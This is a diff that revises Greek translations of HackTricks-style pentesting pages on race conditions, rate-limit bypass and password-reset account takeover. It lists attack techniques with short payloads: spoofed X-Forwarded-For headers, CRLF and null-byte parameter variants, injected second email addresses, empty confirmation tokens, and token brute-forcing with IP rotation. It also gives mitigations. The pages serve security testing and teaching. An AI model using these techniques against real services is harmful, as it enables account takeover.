- Χρησιμοποιήστε ακριβή χρονοδιάγραμμα, όπως μια επίθεση με ένα μόνο πακέτο, για να κάνετε ταυτόχρονες αιτήσεις επαναφοράς κωδικών πρόσβασης. Τα ταυτόσημα διακριτικά υποδηλώνουν μια ευπάθεια.
|
||||
- Χρησιμοποιήστε ακριβή χρονοδιάγραμμα, όπως μια επίθεση με ένα μόνο πακέτο, για να κάνετε ταυτόχρονες αιτήσεις επαναφοράς κωδικού πρόσβασης. Τα ταυτόσημα διακριτικά υποδηλώνουν μια ευπάθεια.
|
||||
|
||||
**Παράδειγμα:**
|
||||
**Example:**
|
||||
|
||||
- Ζητήστε δύο διακριτικά επαναφοράς κωδικών πρόσβασης ταυτόχρονα και συγκρίνετέ τα. Τα ταυτοποιημένα διακριτικά υποδηλώνουν ένα σφάλμα στη δημιουργία διακριτικών.
|
||||
- Ζητήστε δύο διακριτικά επαναφοράς κωδικού πρόσβασης ταυτόχρονα και συγκρίνετέ τα. Τα ταυτόσημα διακριτικά υποδηλώνουν ένα σφάλμα στη δημιουργία διακριτικών.
|
||||
|
||||
**Δείτε αυτό** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **για να το δοκιμάσετε.**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **to try this.**
|
||||
|
||||
## Hidden substates case studies
|
||||
|
||||
@ -333,17 +333,17 @@ asyncio.run(main())
|
||||
|
||||
### Change email to 2 emails addresses Cookie based
|
||||
|
||||
Σύμφωνα με [**αυτή την έρευνα**](https://portswigger.net/research/smashing-the-state-machine), το Gitlab ήταν ευάλωτο σε κατάληψη με αυτόν τον τρόπο επειδή μπορεί να **στείλει** το **διακριτικό επιβεβαίωσης email μιας διεύθυνσης email στην άλλη διεύθυνση email**.
|
||||
Σύμφωνα με [**αυτή την έρευνα**](https://portswigger.net/research/smashing-the-state-machine) το Gitlab ήταν ευάλωτο σε κατάληψη με αυτόν τον τρόπο επειδή μπορεί να **στείλει** το **διακριτικό επιβεβαίωσης email μιας διεύθυνσης email στην άλλη διεύθυνση email**.
|
||||
|
||||
**Δείτε αυτό** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **για να το δοκιμάσετε.**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-single-endpoint) **to try this.**
|
||||
|
||||
### Hidden Database states / Confirmation Bypass
|
||||
|
||||
Εάν **χρησιμοποιηθούν 2 διαφορετικές εγγραφές** για να **προσθέσουν** **πληροφορίες** μέσα σε μια **βάση δεδομένων**, υπάρχει μια μικρή χρονική περίοδος όπου **μόνο τα πρώτα δεδομένα έχουν γραφεί** μέσα στη βάση δεδομένων. Για παράδειγμα, όταν δημιουργείτε έναν χρήστη, το **όνομα χρήστη** και ο **κωδικός πρόσβασης** μπορεί να είναι **γραμμένα** και **στη συνέχεια το διακριτικό** για την επιβεβαίωση του νεοδημιουργηθέντος λογαριασμού είναι γραμμένο. Αυτό σημαίνει ότι για μια μικρή χρονική περίοδο το **διακριτικό για την επιβεβαίωση ενός λογαριασμού είναι κενό**.
|
||||
Εάν **χρησιμοποιηθούν 2 διαφορετικές εγγραφές** για να **προσθέσουν** **πληροφορίες** μέσα σε μια **βάση δεδομένων**, υπάρχει μια μικρή χρονική περίοδος όπου **μόνο τα πρώτα δεδομένα έχουν γραφτεί** μέσα στη βάση δεδομένων. Για παράδειγμα, όταν δημιουργείτε έναν χρήστη, το **όνομα χρήστη** και ο **κωδικός πρόσβασης** μπορεί να είναι **γραμμένα** και **στη συνέχεια το διακριτικό** για να επιβεβαιωθεί ο νεοδημιουργημένος λογαριασμός είναι γραμμένο. Αυτό σημαίνει ότι για μια μικρή χρονική περίοδο το **διακριτικό για την επιβεβαίωση ενός λογαριασμού είναι κενό**.
|
||||
|
||||
Επομένως, **η εγγραφή ενός λογαριασμού και η αποστολή αρκετών αιτημάτων με ένα κενό διακριτικό** (`token=` ή `token[]=` ή οποιαδήποτε άλλη παραλλαγή) για να επιβεβαιώσετε τον λογαριασμό αμέσως θα μπορούσε να επιτρέψει την **επιβεβαίωση ενός λογαριασμού** όπου δεν ελέγχετε το email.
|
||||
|
||||
**Δείτε αυτό** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **για να το δοκιμάσετε.**
|
||||
**Check this** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-partial-construction) **to try this.**
|
||||
|
||||
### Bypass 2FA
|
||||
|
||||
@ -355,18 +355,18 @@ session['enforce_mfa'] = True
|
||||
# generate and send MFA code to user
|
||||
# redirect browser to MFA code entry form
|
||||
```
|
||||
### OAuth2 αιώνια επιμονή
|
||||
### OAuth2 μόνιμη διατήρηση
|
||||
|
||||
Υπάρχουν αρκετοί [**παροχείς OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Αυτές οι υπηρεσίες θα σας επιτρέψουν να δημιουργήσετε μια εφαρμογή και να πιστοποιήσετε χρήστες που έχει καταχωρίσει ο πάροχος. Για να το κάνετε αυτό, ο **πελάτης** θα χρειαστεί να **επιτρέψει στην εφαρμογή σας** να έχει πρόσβαση σε ορισμένα από τα δεδομένα τους μέσα στον **πάροχο OAUth**.\
|
||||
Έτσι, μέχρι εδώ είναι απλώς μια κοινή σύνδεση με google/linkedin/github... όπου σας ζητείται μια σελίδα που λέει: "_Η εφαρμογή \<InsertCoolName> θέλει να έχει πρόσβαση στις πληροφορίες σας, θέλετε να το επιτρέψετε;_"
|
||||
Υπάρχουν αρκετοί [**παροχείς OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Αυτές οι υπηρεσίες θα σας επιτρέψουν να δημιουργήσετε μια εφαρμογή και να πιστοποιήσετε χρήστες που έχει καταχωρίσει ο πάροχος. Για να το κάνετε αυτό, ο **πελάτης** θα χρειαστεί να **επιτρέψει στην εφαρμογή σας** να έχει πρόσβαση σε ορισμένα από τα δεδομένα τους μέσα στον **παροχέα OAUth**.\
|
||||
Έτσι, μέχρι εδώ είναι απλώς μια κοινή σύνδεση με google/linkedin/github... όπου σας ζητείται μια σελίδα που λέει: "_Η εφαρμογή \<InsertCoolName> θέλει να έχει πρόσβαση στις πληροφορίες σας, θέλετε να το επιτρέψετε?_"
|
||||
|
||||
#### Race Condition στο `authorization_code`
|
||||
|
||||
Το **πρόβλημα** εμφανίζεται όταν **το αποδεχτείτε** και αυτόματα στέλνει έναν **`authorization_code`** στην κακόβουλη εφαρμογή. Στη συνέχεια, αυτή η **εφαρμογή εκμεταλλεύεται μια Race Condition στον πάροχο υπηρεσιών OAUth για να δημιουργήσει περισσότερα από ένα AT/RT** (_Authentication Token/Refresh Token_) από τον **`authorization_code`** για τον λογαριασμό σας. Βασικά, θα εκμεταλλευτεί το γεγονός ότι έχετε αποδεχτεί την εφαρμογή να έχει πρόσβαση στα δεδομένα σας για να **δημιουργήσει αρκετούς λογαριασμούς**. Στη συνέχεια, αν **σταματήσετε να επιτρέπετε στην εφαρμογή να έχει πρόσβαση στα δεδομένα σας, ένα ζευγάρι AT/RT θα διαγραφεί, αλλά τα άλλα θα παραμείνουν έγκυρα**.
|
||||
Το **πρόβλημα** εμφανίζεται όταν **το αποδέχεστε** και αυτόματα στέλνει έναν **`authorization_code`** στην κακόβουλη εφαρμογή. Στη συνέχεια, αυτή η **εφαρμογή εκμεταλλεύεται μια Race Condition στον πάροχο υπηρεσιών OAUth για να δημιουργήσει περισσότερα από ένα AT/RT** (_Authentication Token/Refresh Token_) από τον **`authorization_code`** για τον λογαριασμό σας. Βασικά, θα εκμεταλλευτεί το γεγονός ότι έχετε αποδεχτεί την εφαρμογή να έχει πρόσβαση στα δεδομένα σας για να **δημιουργήσει αρκετούς λογαριασμούς**. Στη συνέχεια, αν **σταματήσετε να επιτρέπετε στην εφαρμογή να έχει πρόσβαση στα δεδομένα σας, ένα ζευγάρι AT/RT θα διαγραφεί, αλλά τα άλλα θα παραμείνουν έγκυρα**.
|
||||
|
||||
#### Race Condition στο `Refresh Token`
|
||||
|
||||
Μόλις έχετε **αποκτήσει ένα έγκυρο RT**, θα μπορούσατε να προσπαθήσετε να **εκμεταλλευτείτε το για να δημιουργήσετε αρκετά AT/RT** και **ακόμα και αν ο χρήστης ακυρώσει τις άδειες** για την κακόβουλη εφαρμογή να έχει πρόσβαση στα δεδομένα του, **αρκετά RT θα παραμείνουν έγκυρα.**
|
||||
Μόλις έχετε **αποκτήσει ένα έγκυρο RT**, μπορείτε να προσπαθήσετε να **το εκμεταλλευτείτε για να δημιουργήσετε αρκετά AT/RT** και **ακόμα και αν ο χρήστης ακυρώσει τις άδειες** για την κακόβουλη εφαρμογή να έχει πρόσβαση στα δεδομένα του, **αρκετά RT θα παραμείνουν έγκυρα.**
|
||||
|
||||
## **RC σε WebSockets**
|
||||
|
||||
|
@ -1,20 +1,20 @@
|
||||
# Παράκαμψη Περιορισμού Ρυθμού
|
||||
# Rate Limit Bypass
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## Τεχνικές παράκαμψης περιορισμού ρυθμού
|
||||
|
||||
### Εξερεύνηση Παρόμοιων Τερματικών Σημείων
|
||||
### Εξερεύνηση παρόμοιων τελικών σημείων
|
||||
|
||||
Πρέπει να γίνουν προσπάθειες για την εκτέλεση επιθέσεων brute force σε παραλλαγές του στοχευμένου τερματικού σημείου, όπως το `/api/v3/sign-up`, συμπεριλαμβανομένων εναλλακτικών όπως το `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` κ.λπ.
|
||||
Πρέπει να γίνουν προσπάθειες για την εκτέλεση επιθέσεων brute force σε παραλλαγές του στοχευμένου τελικού σημείου, όπως το `/api/v3/sign-up`, συμπεριλαμβανομένων εναλλακτικών όπως το `/Sing-up`, `/SignUp`, `/singup`, `/api/v1/sign-up`, `/api/sign-up` κ.λπ.
|
||||
|
||||
### Ενσωμάτωση Κενών Χαρακτήρων σε Κώδικα ή Παραμέτρους
|
||||
### Ενσωμάτωση κενών χαρακτήρων σε κώδικα ή παραμέτρους
|
||||
|
||||
Η εισαγωγή κενών byte όπως το `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` σε κώδικα ή παραμέτρους μπορεί να είναι μια χρήσιμη στρατηγική. Για παράδειγμα, η προσαρμογή μιας παραμέτρου σε `code=1234%0a` επιτρέπει την επέκταση προσπαθειών μέσω παραλλαγών στην είσοδο, όπως η προσθήκη χαρακτήρων νέας γραμμής σε μια διεύθυνση email για να παρακαμφθούν οι περιορισμοί προσπαθειών.
|
||||
Η εισαγωγή κενών byte όπως το `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` σε κώδικα ή παραμέτρους μπορεί να είναι μια χρήσιμη στρατηγική. Για παράδειγμα, η προσαρμογή μιας παραμέτρου σε `code=1234%0a` επιτρέπει την επέκταση των προσπαθειών μέσω παραλλαγών στην είσοδο, όπως η προσθήκη χαρακτήρων νέας γραμμής σε μια διεύθυνση email για να παρακαμφθούν οι περιορισμοί προσπαθειών.
|
||||
|
||||
### Χειρισμός Προέλευσης IP μέσω Επικεφαλίδων
|
||||
### Χειρισμός προέλευσης IP μέσω κεφαλίδων
|
||||
|
||||
Η τροποποίηση των επικεφαλίδων για την αλλαγή της αντιληπτής προέλευσης IP μπορεί να βοηθήσει στην αποφυγή περιορισμού ρυθμού με βάση την IP. Επικεφαλίδες όπως `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, συμπεριλαμβανομένης της χρήσης πολλαπλών περιπτώσεων του `X-Forwarded-For`, μπορούν να προσαρμοστούν για να προσομοιώσουν αιτήματα από διαφορετικές IP.
|
||||
Η τροποποίηση των κεφαλίδων για την αλλαγή της αντιληπτής προέλευσης IP μπορεί να βοηθήσει στην αποφυγή περιορισμού ρυθμού με βάση την IP. Κεφαλίδες όπως `X-Originating-IP`, `X-Forwarded-For`, `X-Remote-IP`, `X-Remote-Addr`, `X-Client-IP`, `X-Host`, `X-Forwared-Host`, συμπεριλαμβανομένης της χρήσης πολλαπλών περιπτώσεων του `X-Forwarded-For`, μπορούν να προσαρμοστούν για να προσομοιώσουν αιτήματα από διαφορετικές IP.
|
||||
```bash
|
||||
X-Originating-IP: 127.0.0.1
|
||||
X-Forwarded-For: 127.0.0.1
|
||||
@ -38,7 +38,7 @@ X-Forwarded-For: 127.0.0.1
|
||||
|
||||
### Σύνδεση στον Λογαριασμό σας Πριν από Κάθε Απόπειρα
|
||||
|
||||
Η σύνδεση σε έναν λογαριασμό πριν από κάθε απόπειρα, ή κάθε σετ από προσπαθειών, μπορεί να επαναφέρει τον μετρητή περιορισμού ρυθμού. Αυτό είναι ιδιαίτερα χρήσιμο κατά τη δοκιμή λειτουργιών σύνδεσης. Η χρήση μιας επίθεσης Pitchfork σε εργαλεία όπως το Burp Suite, για την περιστροφή των διαπιστευτηρίων κάθε λίγες απόπειρες και τη διασφάλιση ότι οι ανακατευθύνσεις είναι σημειωμένες, μπορεί να επανεκκινήσει αποτελεσματικά τους μετρητές περιορισμού ρυθμού.
|
||||
Η σύνδεση σε έναν λογαριασμό πριν από κάθε απόπειρα ή κάθε σετ απόπειρων μπορεί να επαναφέρει τον μετρητή περιορισμού ρυθμού. Αυτό είναι ιδιαίτερα χρήσιμο κατά τη δοκιμή λειτουργιών σύνδεσης. Η χρήση μιας επίθεσης Pitchfork σε εργαλεία όπως το Burp Suite, για την περιστροφή των διαπιστευτηρίων κάθε λίγες απόπειρες και τη διασφάλιση ότι οι ανακατευθύνσεις είναι σημειωμένες, μπορεί να επανεκκινήσει αποτελεσματικά τους μετρητές περιορισμού ρυθμού.
|
||||
|
||||
### Χρήση Δικτύων Proxy
|
||||
|
||||
@ -46,10 +46,10 @@ X-Forwarded-For: 127.0.0.1
|
||||
|
||||
### Διαχωρισμός της Επίθεσης σε Διαφορετικούς Λογαριασμούς ή Συνεδρίες
|
||||
|
||||
Εάν το στοχευόμενο σύστημα εφαρμόζει περιορισμούς ρυθμού ανά λογαριασμό ή ανά συνεδρία, η διανομή της επίθεσης ή της δοκιμής σε πολλούς λογαριασμούς ή συνεδρίες μπορεί να βοηθήσει στην αποφυγή ανίχνευσης. Αυτή η προσέγγιση απαιτεί τη διαχείριση πολλών ταυτοτήτων ή tokens συνεδρίας, αλλά μπορεί να διανείμει αποτελεσματικά το φορτίο για να παραμείνει εντός των επιτρεπτών ορίων.
|
||||
Εάν το στοχευόμενο σύστημα εφαρμόζει περιορισμούς ρυθμού σε βάση ανά λογαριασμό ή ανά συνεδρία, η διανομή της επίθεσης ή της δοκιμής σε πολλούς λογαριασμούς ή συνεδρίες μπορεί να βοηθήσει στην αποφυγή ανίχνευσης. Αυτή η προσέγγιση απαιτεί τη διαχείριση πολλών ταυτοτήτων ή tokens συνεδρίας, αλλά μπορεί να διανείμει αποτελεσματικά το φορτίο για να παραμείνει εντός των επιτρεπτών ορίων.
|
||||
|
||||
### Συνεχίστε να Δοκιμάζετε
|
||||
|
||||
Σημειώστε ότι ακόμη και αν υπάρχει περιορισμός ρυθμού, θα πρέπει να προσπαθήσετε να δείτε αν η απόκριση είναι διαφορετική όταν αποστέλλεται το έγκυρο OTP. Σε [**αυτή την ανάρτηση**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), ο κυνηγός σφαλμάτων ανακάλυψε ότι ακόμη και αν ενεργοποιηθεί περιορισμός ρυθμού μετά από 20 αποτυχημένες απόπειρες με απόκριση 401, αν το έγκυρο αποσταλεί, ελήφθη απόκριση 200.
|
||||
Σημειώστε ότι ακόμη και αν υπάρχει περιορισμός ρυθμού, θα πρέπει να προσπαθήσετε να δείτε αν η απόκριση είναι διαφορετική όταν αποστέλλεται το έγκυρο OTP. Στο [**αυτό το άρθρο**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), ο κυνηγός σφαλμάτων ανακάλυψε ότι ακόμη και αν ενεργοποιηθεί περιορισμός ρυθμού μετά από 20 αποτυχημένες απόπειρες με απόκριση 401, αν το έγκυρο αποσταλεί, ελήφθη απόκριση 200.
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
@ -98,7 +98,7 @@ email=victim@mail.com|hacker@mail.com
|
||||
### Weak Password Reset Token <a href="#weak-password-reset-token" id="weak-password-reset-token"></a>
|
||||
|
||||
Το token επαναφοράς κωδικού πρόσβασης θα πρέπει να δημιουργείται τυχαία και να είναι μοναδικό κάθε φορά.\
|
||||
Δοκιμάστε να προσδιορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο, σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να μαντευτεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιηθούν από τον αλγόριθμο.
|
||||
Προσπαθήστε να προσδιορίσετε αν το token λήγει ή αν είναι πάντα το ίδιο, σε ορισμένες περιπτώσεις ο αλγόριθμος δημιουργίας είναι αδύναμος και μπορεί να μαντευτεί. Οι παρακάτω μεταβλητές μπορεί να χρησιμοποιηθούν από τον αλγόριθμο.
|
||||
|
||||
- Timestamp
|
||||
- UserID
|
||||
@ -119,7 +119,7 @@ email=victim@mail.com|hacker@mail.com
|
||||
|
||||
### Password Reset Via Username Collision <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||
|
||||
1. Εγγραφείτε στο σύστημα με ένα όνομα χρήστη ταυτόσημο με το όνομα χρήστη του θύματος, αλλά με κενά διαστήματα πριν και/ή μετά το όνομα χρήστη. π.χ: `"admin "`
|
||||
1. Εγγραφείτε στο σύστημα με ένα όνομα χρήστη ταυτόσημο με το όνομα χρήστη του θύματος, αλλά με κενά πριν και/ή μετά το όνομα χρήστη. π.χ: `"admin "`
|
||||
2. Ζητήστε μια επαναφορά κωδικού πρόσβασης με το κακόβουλο όνομα χρήστη σας.
|
||||
3. Χρησιμοποιήστε το token που στάλθηκε στο email σας και επαναφέρετε τον κωδικό πρόσβασης του θύματος.
|
||||
4. Συνδεθείτε στον λογαριασμό του θύματος με τον νέο κωδικό πρόσβασης.
|
||||
@ -131,7 +131,7 @@ email=victim@mail.com|hacker@mail.com
|
||||
|
||||
1. Βρείτε ένα XSS μέσα στην εφαρμογή ή σε μια υποτομέα αν τα cookies είναι περιορισμένα στον γονικό τομέα: `*.domain.com`
|
||||
2. Διαρρεύστε το τρέχον **cookie συνεδρίας**
|
||||
3. Αυθεντικοποιηθείτε ως χρήστης χρησιμοποιώντας το cookie
|
||||
3. Αυθεντικοποιηθείτε ως ο χρήστης χρησιμοποιώντας το cookie
|
||||
|
||||
### Account Takeover Via HTTP Request Smuggling <a href="#account-takeover-via-http-request-smuggling" id="account-takeover-via-http-request-smuggling"></a>
|
||||
|
||||
|
@ -2,30 +2,30 @@
|
||||
|
||||
{{#include ../banners/hacktricks-training.md}}
|
||||
|
||||
## **Διαρροή Κωδικού Επαναφοράς μέσω Referrer**
|
||||
## **Διαρροή Διακριτικού Επαναφοράς Κωδικού μέσω Referrer**
|
||||
|
||||
- Ο HTTP referer header μπορεί να διαρρεύσει τον κωδικό επαναφοράς αν περιλαμβάνεται στη διεύθυνση URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο τρίτου μέρους μετά από αίτημα επαναφοράς κωδικού.
|
||||
- Ο HTTP referer header μπορεί να διαρρεύσει το διακριτικό επαναφοράς κωδικού αν περιλαμβάνεται στη διεύθυνση URL. Αυτό μπορεί να συμβεί όταν ένας χρήστης κάνει κλικ σε σύνδεσμο τρίτου μέρους μετά από αίτημα επαναφοράς κωδικού.
|
||||
- **Επίπτωση**: Πιθανή κατάληψη λογαριασμού μέσω επιθέσεων Cross-Site Request Forgery (CSRF).
|
||||
- **Εκμετάλλευση**: Για να ελέγξετε αν διαρρέει ο κωδικός επαναφοράς στον referer header, **ζητήστε επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον σύνδεσμο επαναφοράς** που παρέχεται. **Μην αλλάξετε τον κωδικό σας** αμέσως. Αντίθετα, **μεταβείτε σε έναν ιστότοπο τρίτου μέρους** (όπως το Facebook ή το Twitter) ενώ **παρεμβάλλετε τα αιτήματα χρησιμοποιώντας το Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν ο **referer header περιέχει τον κωδικό επαναφοράς**, καθώς αυτό θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
|
||||
- **Εκμετάλλευση**: Για να ελέγξετε αν ένα διακριτικό επαναφοράς κωδικού διαρρέει στον referer header, **ζητήστε επαναφορά κωδικού** στη διεύθυνση email σας και **κάντε κλικ στον σύνδεσμο επαναφοράς** που παρέχεται. **Μην αλλάξετε τον κωδικό σας** αμέσως. Αντίθετα, **μεταβείτε σε έναν ιστότοπο τρίτου μέρους** (όπως το Facebook ή το Twitter) ενώ **παρεμβάλλετε τα αιτήματα χρησιμοποιώντας το Burp Suite**. Εξετάστε τα αιτήματα για να δείτε αν ο **referer header περιέχει το διακριτικό επαναφοράς κωδικού**, καθώς αυτό θα μπορούσε να εκθέσει ευαίσθητες πληροφορίες σε τρίτους.
|
||||
- **Αναφορές**:
|
||||
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
|
||||
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
|
||||
- [Άρθρο για τη Διαρροή Κωδικού Επαναφοράς](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
- [Άρθρο Διαρροής Διακριτικού Επαναφοράς Κωδικού](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
|
||||
|
||||
## **Δηλητηρίαση Κωδικού Επαναφοράς**
|
||||
## **Δηλητηρίαση Επαναφοράς Κωδικού**
|
||||
|
||||
- Οι επιτιθέμενοι μπορεί να χειριστούν τον Host header κατά τη διάρκεια των αιτημάτων επαναφοράς κωδικού για να κατευθύνουν τον σύνδεσμο επαναφοράς σε κακόβουλο ιστότοπο.
|
||||
- **Επίπτωση**: Οδηγεί σε πιθανή κατάληψη λογαριασμού διαρρέοντας τους κωδικούς επαναφοράς στους επιτιθέμενους.
|
||||
- Οι επιτιθέμενοι μπορεί να χειριστούν τον Host header κατά τη διάρκεια αιτημάτων επαναφοράς κωδικού για να κατευθύνουν τον σύνδεσμο επαναφοράς σε κακόβουλο ιστότοπο.
|
||||
- **Επίπτωση**: Οδηγεί σε πιθανή κατάληψη λογαριασμού διαρρέοντας τα διακριτικά επαναφοράς στους επιτιθέμενους.
|
||||
- **Βήματα Μείωσης**:
|
||||
- Επικυρώστε τον Host header έναντι μιας λίστας επιτρεπόμενων τομέων.
|
||||
- Χρησιμοποιήστε ασφαλείς, server-side μεθόδους για να δημιουργήσετε απόλυτες διευθύνσεις URL.
|
||||
- Χρησιμοποιήστε ασφαλείς, μεθόδους server-side για να δημιουργήσετε απόλυτες διευθύνσεις URL.
|
||||
- **Διόρθωση**: Χρησιμοποιήστε `$_SERVER['SERVER_NAME']` για να κατασκευάσετε διευθύνσεις URL επαναφοράς κωδικού αντί για `$_SERVER['HTTP_HOST']`.
|
||||
- **Αναφορές**:
|
||||
- [Άρθρο Acunetix για τη Δηλητηρίαση Κωδικού Επαναφοράς](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
- [Άρθρο Acunetix για τη Δηλητηρίαση Επαναφοράς Κωδικού](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
|
||||
|
||||
## **Επαναφορά Κωδικού με Χειρισμό Παραμέτρου Email**
|
||||
|
||||
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να παραπλανήσουν τον σύνδεσμο επαναφοράς.
|
||||
Οι επιτιθέμενοι μπορούν να χειριστούν το αίτημα επαναφοράς κωδικού προσθέτοντας επιπλέον παραμέτρους email για να αποσπάσουν τον σύνδεσμο επαναφοράς.
|
||||
|
||||
- Προσθέστε το email του επιτιθέμενου ως δεύτερη παράμετρο χρησιμοποιώντας &
|
||||
```php
|
||||
@ -69,9 +69,9 @@ POST /resetPassword
|
||||
[...]
|
||||
{"email":["victim@mail.tld","atracker@mail.tld"]}
|
||||
```
|
||||
- **Βήματα Ελάφρυνσης**:
|
||||
- **Βήματα Μείωσης**:
|
||||
- Κατάλληλη ανάλυση και επικύρωση παραμέτρων email από τον server.
|
||||
- Χρήση προετοιμασμένων δηλώσεων ή παραμετροποιημένων ερωτημάτων για την αποτροπή επιθέσεων injection.
|
||||
- Χρήση προετοιμασμένων δηλώσεων ή παραμετροποιημένων ερωτημάτων για την αποφυγή επιθέσεων injection.
|
||||
- **Αναφορές**:
|
||||
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
|
||||
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
|
||||
@ -102,7 +102,7 @@ POST /api/changepass
|
||||
|
||||
## **Ανακαλύψτε Πώς Δημιουργείται το Token Επαναφοράς Κωδικού Πρόσβασης**
|
||||
|
||||
- Η κατανόηση του προτύπου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει σε πρόβλεψη ή brute-forcing tokens. Ορισμένες επιλογές:
|
||||
- Η κατανόηση του προτύπου ή της μεθόδου πίσω από τη δημιουργία token μπορεί να οδηγήσει στην πρόβλεψη ή την βίαιη επίθεση σε tokens. Ορισμένες επιλογές:
|
||||
- Βασισμένο σε Χρονική Σημείωση
|
||||
- Βασισμένο στο UserID
|
||||
- Βασισμένο στο email του Χρήστη
|
||||
@ -116,7 +116,7 @@ POST /api/changepass
|
||||
|
||||
## **Μπορεί να Μαντευτεί UUID**
|
||||
|
||||
- Εάν τα UUIDs (έκδοση 1) είναι μαντεύσιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα brute-force για να δημιουργήσουν έγκυρα tokens επαναφοράς. Ελέγξτε:
|
||||
- Εάν τα UUIDs (έκδοση 1) είναι μαντεύσιμα ή προβλέψιμα, οι επιτιθέμενοι μπορεί να τα βρουν με βίαιη επίθεση για να δημιουργήσουν έγκυρα tokens επαναφοράς. Ελέγξτε:
|
||||
|
||||
{{#ref}}
|
||||
uuid-insecurities.md
|
||||
@ -124,13 +124,13 @@ uuid-insecurities.md
|
||||
|
||||
- **Βήματα Μείωσης**:
|
||||
- Χρησιμοποιήστε την έκδοση 4 του GUID για τυχαιότητα ή εφαρμόστε επιπλέον μέτρα ασφαλείας για άλλες εκδόσεις.
|
||||
- **Εργαλεία**: Χρησιμοποιήστε το [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και δημιουργία GUIDs.
|
||||
- **Εργαλεία**: Χρησιμοποιήστε το [guidtool](https://github.com/intruder-io/guidtool) για την ανάλυση και τη δημιουργία GUIDs.
|
||||
|
||||
## **Manipulation Response: Αντικατάσταση Κακής Απόκρισης με Καλή**
|
||||
|
||||
- Manipulating HTTP responses για να παρακάμψετε μηνύματα σφάλματος ή περιορισμούς.
|
||||
- Χειραγώγηση των HTTP αποκρίσεων για να παρακαμφθούν τα μηνύματα σφάλματος ή οι περιορισμοί.
|
||||
- **Βήματα Μείωσης**:
|
||||
- Εφαρμόστε ελέγχους server-side για να διασφαλίσετε την ακεραιότητα της απόκρισης.
|
||||
- Εφαρμόστε ελέγχους από την πλευρά του διακομιστή για να διασφαλίσετε την ακεραιότητα της απόκρισης.
|
||||
- Χρησιμοποιήστε ασφαλείς επικοινωνιακούς διαύλους όπως το HTTPS για να αποτρέψετε επιθέσεις man-in-the-middle.
|
||||
- **Αναφορά**:
|
||||
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
|
||||
@ -139,14 +139,14 @@ uuid-insecurities.md
|
||||
|
||||
- Δοκιμή αν τα εξαντλημένα tokens μπορούν ακόμα να χρησιμοποιηθούν για επαναφορά κωδικού πρόσβασης.
|
||||
- **Βήματα Μείωσης**:
|
||||
- Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε την λήξη token server-side.
|
||||
- Εφαρμόστε αυστηρές πολιτικές λήξης token και επικυρώστε την λήξη token από την πλευρά του διακομιστή.
|
||||
|
||||
## **Brute Force Token Επαναφοράς Κωδικού Πρόσβασης**
|
||||
|
||||
- Προσπάθεια brute-force του token επαναφοράς χρησιμοποιώντας εργαλεία όπως το Burpsuite και το IP-Rotator για να παρακάμψετε τους περιορισμούς ρυθμού με βάση την IP.
|
||||
- Προσπάθεια βίαιης επίθεσης στο token επαναφοράς χρησιμοποιώντας εργαλεία όπως το Burpsuite και το IP-Rotator για να παρακαμφθούν οι περιορισμοί ρυθμού με βάση την IP.
|
||||
- **Βήματα Μείωσης**:
|
||||
- Εφαρμόστε ισχυρούς μηχανισμούς περιορισμού ρυθμού και κλειδώματος λογαριασμού.
|
||||
- Παρακολουθήστε ύποπτες δραστηριότητες που υποδεικνύουν επιθέσεις brute-force.
|
